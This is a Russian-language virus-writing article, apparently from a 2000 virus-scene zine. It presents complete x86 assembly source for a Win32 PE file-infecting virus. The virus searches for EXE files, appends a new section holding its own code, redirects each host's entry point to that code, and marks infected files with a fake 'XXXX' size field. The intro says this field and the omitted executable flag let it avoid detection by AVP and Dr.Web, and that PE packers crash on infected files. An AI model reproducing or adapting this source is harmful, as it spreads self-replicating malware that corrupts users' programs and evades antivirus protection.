|
|
Создавали новую секцию? Этот вирус делает тоже самое.
Отличие в том, в том что он подставляет левые данные
в поле physical size обьекта, и не ставит флаг E.
А результат - АВП не орет, WEB - тоже не орет.
Кстати, флаги не обязательно ставить R/W/E/C,
R/W/C будет достаточно, так как на x86 процессорах
флаг R = E. Кстати, все PE пакеры, которые я испытывал
валились при попытке сжать зараженный файл: OUT OF MEMORY
CALC.EXE
Object table:
# Name VirtSize RVA PhysSize Phys off Flags
-- -------- -------- -------- -------- -------- --------
01 .text 00011A0E 00001000 00012000 00001000 60000020 [CER]
02 .data 00000F84 00013000 00001000 00013000 C0000040 [IRW]
03 .rsrc 00003000 00014000 00003000 00014000 40000040 [IR]
04 000002DB 00017000 58585858 00017000 C0000020 [CRW]
[NO].
; я не стал заново все переписывать вирус,
; заменил только процедуру заражения
; N0. июль, 2000.
.386
.model flat, stdcall
EXTRN ExitProcess: PROC
addr_table = 7 * 4
name_table = 8 * 4
ord_table = 9 * 4
name_counter = 6 * 4
physical_size = 4 * 4
physical_offs = 5 * 4
virtual_size = 2 * 4
object_flags = 9 * 4
min_exe_size = 10000d
virus_size = (END_VIRUS-START)
GENERIC_RW = 80000000h+40000000h
OPEN_EXISTING = 3
WRITEABLE_OBJECT = 80000000h
CODE_OBJECT = 00000020h
EXECUTABLE_OBJECT = 20000000h
CloseHandle = 0
UnmapViewOfFile = 1
MapViewOfFile = 2
GetFileSize = 3
CreateFileMappingA = 4
CreateFileA = 5
FindNextFileA = 6
FindFirstFileA = 7
api_num = 7
findfile_struct_size = 320 + 58
win_directory_size = 320
reserve_blocks = 1000h
stack_memory_used = findfile_struct_size + \
win_directory_size + \
reserve_blocks
; edi должен указывать base_stack
call_api macro api_number
call [edi+4*api_number]
endm
.data
START: jmp GET_DELTA
db "NO"
GET_DELTA:
call DELTA
DELTA: pop ebp
sub ebp, offset DELTA
pop eax
mov ebx, [ebp+offset host_ip]
add ebx, [ebp+offset host_ib]
push ebx
shr eax, 16
dec eax
shl eax, 16
mov edi, eax
xor ebx, ebx
mov bx, word ptr [eax+3ch]
cmp dword ptr [eax+ebx], 4550h
jnz EXIT
add eax, ebx
mov esi, [eax+78h]
add esi, edi
mov eax, [esi+addr_table]
add eax, edi
push eax
mov eax, [esi+name_table]
add eax, edi
mov ebx, eax
push eax
mov eax, [esi+ord_table]
add eax, edi
push eax
mov ecx, [esi+name_counter]
push ecx
SEARCH_GTA@1:
mov eax, [ebx]
add eax, edi
cmp dword ptr [eax], "PteG"
jnz NEXT_NAME
cmp dword ptr [eax+4], "Acor"
jz SEARCH_GTA@2
NEXT_NAME:
add ebx, 4
loop SEARCH_GTA@1
jmp EXIT
SEARCH_GTA@2:
pop ebx
sub ebx, ecx
shl ebx, 1
add ebx, [esp] ; ord таблица
xor edx, edx
mov dx, word ptr [ebx]
shl edx, 2
add edx, [esp+4*2] ; адр таблица
mov edx, [edx]
add edx, edi
mov [ebp+offset GetProcAddressRVA], edx
lea esi, [ebp+api_list]
GET_API_RVA:
push edi edx
call edx, edi, esi
pop edx edi
or eax, eax
jz EXIT
push eax
call STR_ESI_Z
cmp byte ptr [esi],0FFh
jnz GET_API_RVA
; распределение памяти стэка
mov esi, esp
mov edi, esi
sub esi, 4*4
mov edx, esi
sub edx, stack_memory_used
push edx
mov [ebp+offset base_stack], edx
mov esi, edx
mov ecx, stack_memory_used
call CLEAR_BLOCK
lea eax, [ebp+file_mask]
FIND_FIRST_FILE:
push edi ; должно быть сохранено
push esi
push eax
call_api FindFirstFileA
pop edi ; 'стэковый обработчик' api
pop edx ; указатель на начало стэкпам
inc eax
or eax, eax
jz EXIT
dec eax
mov esi, edx
add esi, 44
pushad
call INFECT
popad
FIND_NEXT_FILE:
push edx
push eax
push edx
push eax
call_api FindNextFileA
or eax, eax
jz EXIT
pop eax
pop edx
mov esi, edx
add esi, 44
pushad
call INFECT
popad
jmp FIND_NEXT_FILE
file_mask db "*.EXE",0
STR_ESI_Z:
inc esi
cmp byte ptr [esi], 0
jnz STR_ESI_Z
inc esi ; пропустить 0
ret
CLEAR_BLOCK:
push esi
shr ecx, 2
@CBx1: mov dword ptr [esi], 0
add esi, 4
loop @CBx1
pop esi
ret
INFECT:
push 0
push 0
push OPEN_EXISTING
push 0
push 0
push GENERIC_RW
push esi
call_api CreateFileA
inc eax
or eax, eax
jz INFECT_RET
dec eax
xchg eax, ebx
push ebx
push 0
push ebx
call_api GetFileSize
pop ebx
cmp eax, min_exe_size
push ebx
jna CLOSE_INFECT_RET
add eax, 1000h
push 0
push eax
push 0
push 4
push 0
push ebx
call_api CreateFileMappingA
or eax, eax
jz CLOSE_INFECT_RET
push 0
push 0
push 0
push 2
push eax
call_api MapViewOfFile
push eax
xor ebx, ebx
mov bx, word ptr [eax+3Ch]
cmp dword ptr [eax+ebx], 4550h
jnz UNMAP_INFECT_RET
add eax, ebx
xor ecx, ecx
mov cx, word ptr [eax+6]
imul ecx, 40
mov ebx, [eax+40]
mov [ebp+offset host_ip], ebx
mov ebx, [eax+52]
mov [ebp+offset host_ib], ebx
xor edx, edx
mov dx, word ptr [eax+14h]
add edx, eax
add edx, 18h
add edx, ecx
; самопроверка, если уже вирус вписан, то физ размер XXXX
cmp dword ptr [edx-40+16], "XXXX"
jz UNMAP_INFECT_RET
mov dword ptr [edx+8], virus_size
mov ecx, [edx-40+16]
add ecx, [edx-40+20]
push ecx
; RVA
mov dword ptr [edx+12], ecx
; физ размер
mov dword ptr [edx+16], "XXXX"
; физ смещение = RVA
mov dword ptr [edx+20], ecx
; установка флагов
mov dword ptr [edx+36], 80000000h OR 40000000h OR 20h
push edi
mov edi, ecx
add edi, [esp+8]
xchg edi, esi
mov ecx, 1000h
call CLEAR_MEM
xchg edi, esi
lea esi, [ebp+START]
mov ecx, (virus_size+2)/4
rep movsd
nop
pop edi
pop ecx
mov [eax+40], ecx ; установка нового entry-point`а
add dword ptr [eax+80], 1000h ; пофиксить виртуальный размер
inc word ptr [eax+6] ; кол-во секций +1
UNMAP_INFECT_RET:
call_api UnmapViewOfFile
CLOSE_INFECT_RET:
call_api CloseHandle
INFECT_RET:
ret
EXIT: or ebp, ebp
jnz EXIT_TO_HOST
call ExitProcess
EXIT_TO_HOST:
mov esp, edi
add esp, (api_num + 4) * 4
pop ebx
jmp ebx
CLEAR_MEM:
push esi
shr ecx, 2
CLEAR_MEM@LOOP:
mov dword ptr [esi], 0
add esi, 4
loop CLEAR_MEM@LOOP
pop esi
ret
GetProcAddressRVA dd 0
base_stack dd 0
host_ip dd 0 ; входная точка жертвы
host_ib dd 0 ; imagebase жертвы
ALIGN 4
api_list: db "FindFirstFileA",0,"FindNextFileA",0,"CreateFileA",0
db "CreateFileMappingA",0,"GetFileSize",0,"MapViewOfFile",0
db "UnmapViewOfFile",0,"CloseHandle",0
db 0FFh
api_list_size = ($ - api_list)
END_VIRUS equ $
.code
dd 0
END START
|
|